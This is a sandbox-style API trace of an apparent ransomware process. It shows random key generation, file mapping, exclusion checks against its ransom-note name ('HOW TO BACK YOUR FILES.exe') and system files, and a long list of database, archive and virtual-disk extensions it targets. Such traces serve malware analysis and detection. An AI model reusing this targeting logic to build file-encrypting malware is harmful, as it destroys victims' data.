	[0082.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.112] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.113] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.113] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.113] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x73c60, lpName=0x0) returned 0x15c
	[0082.115] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x73c60) returned 0x210000
	[0082.180] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.181] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.181] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.181] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0082.186] CloseHandle (hObject=0x15c) returned 1
	[0082.186] CloseHandle (hObject=0x9c) returned 1
	[0082.186] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.186] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.186] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.188] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="..") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="windows") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="temp") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.188] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0082.189] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0082.189] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0082.189] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned 71
	[0082.189] lstrcpyW (in: lpString1=0x119e670, lpString2="WWINTL.DLL.trx_dll" | out: lpString1="WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll"
	[0082.189] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0082.189] lstrlenW (lpString="Apollon865") returned 10
	[0082.189] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.189] lstrlenW (lpString=".dll") returned 4
	[0082.189] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.189] lstrlenW (lpString=".lnk") returned 4
	[0082.189] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.189] lstrlenW (lpString=".ini") returned 4
	[0082.189] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.189] lstrlenW (lpString=".sys") returned 4
	[0082.189] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.189] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0082.189] lstrlenW (lpString="bak") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.189] lstrlenW (lpString="ba_") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.189] lstrlenW (lpString="dbb") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.189] lstrlenW (lpString="vmdk") returned 4
	[0082.189] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.189] lstrlenW (lpString="rar") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.189] lstrlenW (lpString="zip") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.189] lstrlenW (lpString="tgz") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.189] lstrlenW (lpString="vbox") returned 4
	[0082.189] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.189] lstrlenW (lpString="vdi") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.189] lstrlenW (lpString="vhd") returned 3
	[0082.189] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.190] lstrlenW (lpString="vhdx") returned 4
	[0082.190] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.190] lstrlenW (lpString="avhd") returned 4
	[0082.190] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.190] lstrlenW (lpString="db") returned 2
	[0082.190] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.190] lstrlenW (lpString="db2") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.190] lstrlenW (lpString="db3") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.190] lstrlenW (lpString="dbf") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.190] lstrlenW (lpString="mdf") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.190] lstrlenW (lpString="mdb") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.190] lstrlenW (lpString="sql") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.190] lstrlenW (lpString="sqlite") returned 6
	[0082.190] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.190] lstrlenW (lpString="sqlite3") returned 7
	[0082.190] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.190] lstrlenW (lpString="sqlitedb") returned 8
	[0082.190] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.190] lstrlenW (lpString="xml") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.190] lstrlenW (lpString="$er") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.190] lstrlenW (lpString="4dd") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.190] lstrlenW (lpString="4dl") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.190] lstrlenW (lpString="^^^") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.190] lstrlenW (lpString="abs") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.190] lstrlenW (lpString="abx") returned 3
	[0082.190] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.190] lstrlenW (lpString="accdb") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.191] lstrlenW (lpString="accdc") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.191] lstrlenW (lpString="accde") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.191] lstrlenW (lpString="accdr") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.191] lstrlenW (lpString="accdt") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.191] lstrlenW (lpString="accdw") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.191] lstrlenW (lpString="accft") returned 5
	[0082.191] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.191] lstrlenW (lpString="adb") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.191] lstrlenW (lpString="adb") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.191] lstrlenW (lpString="ade") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.191] lstrlenW (lpString="adf") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.191] lstrlenW (lpString="adn") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.191] lstrlenW (lpString="adp") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.191] lstrlenW (lpString="alf") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.191] lstrlenW (lpString="ask") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.191] lstrlenW (lpString="btr") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.191] lstrlenW (lpString="cat") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.191] lstrlenW (lpString="cdb") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.191] lstrlenW (lpString="ckp") returned 3
	[0082.191] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.191] lstrlenW (lpString="cma") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.192] lstrlenW (lpString="cpd") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.192] lstrlenW (lpString="dacpac") returned 6
	[0082.192] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.192] lstrlenW (lpString="dad") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.192] lstrlenW (lpString="dadiagrams") returned 10
	[0082.192] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.192] lstrlenW (lpString="daschema") returned 8
	[0082.192] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.192] lstrlenW (lpString="db-journal") returned 10
	[0082.192] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.192] lstrlenW (lpString="db-shm") returned 6
	[0082.192] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.192] lstrlenW (lpString="db-wal") returned 6
	[0082.192] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.192] lstrlenW (lpString="dbc") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.192] lstrlenW (lpString="dbs") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.192] lstrlenW (lpString="dbt") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.192] lstrlenW (lpString="dbv") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.192] lstrlenW (lpString="dbx") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.192] lstrlenW (lpString="dcb") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.192] lstrlenW (lpString="dct") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.192] lstrlenW (lpString="dcx") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.192] lstrlenW (lpString="ddl") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.192] lstrlenW (lpString="dlis") returned 4
	[0082.192] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.192] lstrlenW (lpString="dp1") returned 3
	[0082.192] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.193] lstrlenW (lpString="dqy") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.193] lstrlenW (lpString="dsk") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.193] lstrlenW (lpString="dsn") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.193] lstrlenW (lpString="dtsx") returned 4
	[0082.193] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.193] lstrlenW (lpString="dxl") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.193] lstrlenW (lpString="eco") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.193] lstrlenW (lpString="ecx") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.193] lstrlenW (lpString="edb") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.193] lstrlenW (lpString="epim") returned 4
	[0082.193] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.193] lstrlenW (lpString="fcd") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.193] lstrlenW (lpString="fdb") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.193] lstrlenW (lpString="fic") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.193] lstrlenW (lpString="flexolibrary") returned 12
	[0082.193] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.193] lstrlenW (lpString="fm5") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.193] lstrlenW (lpString="fmp") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.193] lstrlenW (lpString="fmp12") returned 5
	[0082.193] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.193] lstrlenW (lpString="fmpsl") returned 5
	[0082.193] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.193] lstrlenW (lpString="fol") returned 3
	[0082.193] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.194] lstrlenW (lpString="fp3") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.194] lstrlenW (lpString="fp4") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.194] lstrlenW (lpString="fp5") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.194] lstrlenW (lpString="fp7") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.194] lstrlenW (lpString="fpt") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.194] lstrlenW (lpString="frm") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.194] lstrlenW (lpString="gdb") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.194] lstrlenW (lpString="gdb") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.194] lstrlenW (lpString="grdb") returned 4
	[0082.194] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.194] lstrlenW (lpString="gwi") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.194] lstrlenW (lpString="hdb") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.194] lstrlenW (lpString="his") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.194] lstrlenW (lpString="ib") returned 2
	[0082.194] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.194] lstrlenW (lpString="idb") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.194] lstrlenW (lpString="ihx") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.194] lstrlenW (lpString="itdb") returned 4
	[0082.194] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.194] lstrlenW (lpString="itw") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.194] lstrlenW (lpString="jet") returned 3
	[0082.194] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.194] lstrlenW (lpString="jtx") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.195] lstrlenW (lpString="kdb") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.195] lstrlenW (lpString="kexi") returned 4
	[0082.195] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.195] lstrlenW (lpString="kexic") returned 5
	[0082.195] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.195] lstrlenW (lpString="kexis") returned 5
	[0082.195] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.195] lstrlenW (lpString="lgc") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.195] lstrlenW (lpString="lwx") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.195] lstrlenW (lpString="maf") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.195] lstrlenW (lpString="maq") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.195] lstrlenW (lpString="mar") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.195] lstrlenW (lpString="marshal") returned 7
	[0082.195] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.195] lstrlenW (lpString="mas") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.195] lstrlenW (lpString="mav") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.195] lstrlenW (lpString="maw") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.195] lstrlenW (lpString="mdbhtml") returned 7
	[0082.195] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.195] lstrlenW (lpString="mdn") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.195] lstrlenW (lpString="mdt") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.195] lstrlenW (lpString="mfd") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.195] lstrlenW (lpString="mpd") returned 3
	[0082.195] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.196] lstrlenW (lpString="mrg") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.196] lstrlenW (lpString="mud") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.196] lstrlenW (lpString="mwb") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.196] lstrlenW (lpString="myd") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.196] lstrlenW (lpString="ndf") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.196] lstrlenW (lpString="nnt") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.196] lstrlenW (lpString="nrmlib") returned 6
	[0082.196] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.196] lstrlenW (lpString="ns2") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.196] lstrlenW (lpString="ns3") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.196] lstrlenW (lpString="ns4") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.196] lstrlenW (lpString="nsf") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.196] lstrlenW (lpString="nv") returned 2
	[0082.196] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.196] lstrlenW (lpString="nv2") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.196] lstrlenW (lpString="nwdb") returned 4
	[0082.196] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.196] lstrlenW (lpString="nyf") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.196] lstrlenW (lpString="odb") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.196] lstrlenW (lpString="odb") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.196] lstrlenW (lpString="oqy") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.196] lstrlenW (lpString="ora") returned 3
	[0082.196] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.196] lstrlenW (lpString="orx") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.197] lstrlenW (lpString="owc") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.197] lstrlenW (lpString="p96") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.197] lstrlenW (lpString="p97") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.197] lstrlenW (lpString="pan") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.197] lstrlenW (lpString="pdb") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.197] lstrlenW (lpString="pdm") returned 3
	[0082.197] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.197] lstrlenW (lpString="pnz") returned 3
	[0082.199] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.199] lstrlenW (lpString="qry") returned 3
	[0082.199] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.200] lstrlenW (lpString="qvd") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.200] lstrlenW (lpString="rbf") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.200] lstrlenW (lpString="rctd") returned 4
	[0082.200] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.200] lstrlenW (lpString="rod") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.200] lstrlenW (lpString="rodx") returned 4
	[0082.200] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.200] lstrlenW (lpString="rpd") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.200] lstrlenW (lpString="rsd") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.200] lstrlenW (lpString="sas7bdat") returned 8
	[0082.200] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.200] lstrlenW (lpString="sbf") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.200] lstrlenW (lpString="scx") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.200] lstrlenW (lpString="sdb") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.200] lstrlenW (lpString="sdc") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.200] lstrlenW (lpString="sdf") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.200] lstrlenW (lpString="sis") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.200] lstrlenW (lpString="spq") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.200] lstrlenW (lpString="te") returned 2
	[0082.200] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.200] lstrlenW (lpString="teacher") returned 7
	[0082.200] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.200] lstrlenW (lpString="tmd") returned 3
	[0082.200] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.200] lstrlenW (lpString="tps") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.201] lstrlenW (lpString="trc") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.201] lstrlenW (lpString="trc") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.201] lstrlenW (lpString="trm") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.201] lstrlenW (lpString="udb") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.201] lstrlenW (lpString="udl") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.201] lstrlenW (lpString="usr") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.201] lstrlenW (lpString="v12") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.201] lstrlenW (lpString="vis") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.201] lstrlenW (lpString="vpd") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.201] lstrlenW (lpString="vvv") returned 3
